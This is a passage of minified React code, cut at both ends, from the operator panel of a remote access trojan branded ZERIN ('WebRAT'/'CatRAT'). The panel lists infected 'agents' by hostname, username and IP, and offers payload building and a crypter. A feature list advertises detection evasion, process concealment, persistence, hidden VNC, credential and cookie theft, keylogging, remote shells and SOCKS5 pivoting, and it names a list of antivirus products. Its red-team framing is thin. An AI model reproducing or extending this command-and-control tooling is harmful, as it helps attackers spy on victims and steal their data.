${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function jA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${a}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function kA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=Ug.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);Ug.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?yA():(gA(),bA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>wA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{jA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const NA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},SA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},zA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},CA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},PA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function sd({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${NA[t]} ${zA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${SA[t]} ${CA[e]}`,children:PA[e]})]})}function EA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=dr(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username} — ${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(sd,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Ji={status:"idle",payloadName:"",startedAt:0,error:""};const jm=new Set;function od(){jm.forEach(e=>e())}function mj(){return Ji}function hj(e){return jm.add(e),()=>jm.delete(e)}function AA(e){Ji={status:"building",payloadName:e,startedAt:Date.now(),error:""},od()}function _A(){Ji={...Ji,status:"success"},od()}function Hg(e){Ji={...Ji,status:"error",error:e},od()}function Kg(){Ji={status:"idle",payloadName:"",startedAt:0,error:""},od()}const ld=p.createContext({lastMessage:null}),OA=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],TA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},MA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function LA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function IA(){const{logout:e,isAdmin:t}=ls(),r=p.useSyncExternalStore(hj,mj).status==="building",a=sj()==="rat_crypter"||t,o=[...OA,...a?[TA]:[],...t?[MA]:[]],l=dr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=lA(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=vA(),{isActive:j}=kA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function I(U){var M,F;if(k||U.ctrlKey||U.metaKey||U.altKey)return;const D=(M=U.target)==null?void 0:M.tagName;D==="INPUT"||D==="TEXTAREA"||D==="SELECT"||(F=U.target)!=null&&F.isContentEditable||U.key.length===1&&(N.current+=U.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const _=p.useCallback(async()=>{try{const I=await lj();v(I)}catch{}},[]);p.useEffect(()=>{_();const I=setInterval(_,15e3);return()=>clearInterval(I)},[_]);const A=p.useCallback(I=>{if(I.type==="agent_update"){const U=I.payload;v(D=>{const M=D.findIndex(F=>F.id===U.id);if(M>=0){const F=[...D];return F[M]=U,F}return m("New Agent Connected",`${U.hostname} (${U.internal_ip})`),[U,...D]})}if(I.type==="event"){const U=I.payload;(U.type==="task_completed"||U.type==="task_failed")&&m("Task Update",U.message)}},[m]),{isConnected:O,lastMessage:P}=oA({onMessage:A});return p.useEffect(()=>{function I(U){(U.metaKey||U.ctrlKey)&&U.key==="k"&&(U.preventDefault(),g(D=>!D))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[]),s.jsx(ld.Provider,{value:{lastMessage:P},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:I,label:U,icon:D})=>s.jsx(zE,{to:I,end:I==="/dashboard",className:({isActive:M})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${M?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:M})=>s.jsxs(s.Fragment,{children:[M&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:M?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:D}),s.jsx("span",{className:"font-medium",children:U}),I==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},I))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${O?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:O?"text-zerin-text-dim":"text-zerin-text-muted",children:O?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(fE,{})}),s.jsx(EA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(LA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const DA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function RA(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const $A=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],BA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function Es({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const FA=p.memo(function({name:t,delay:n}){return 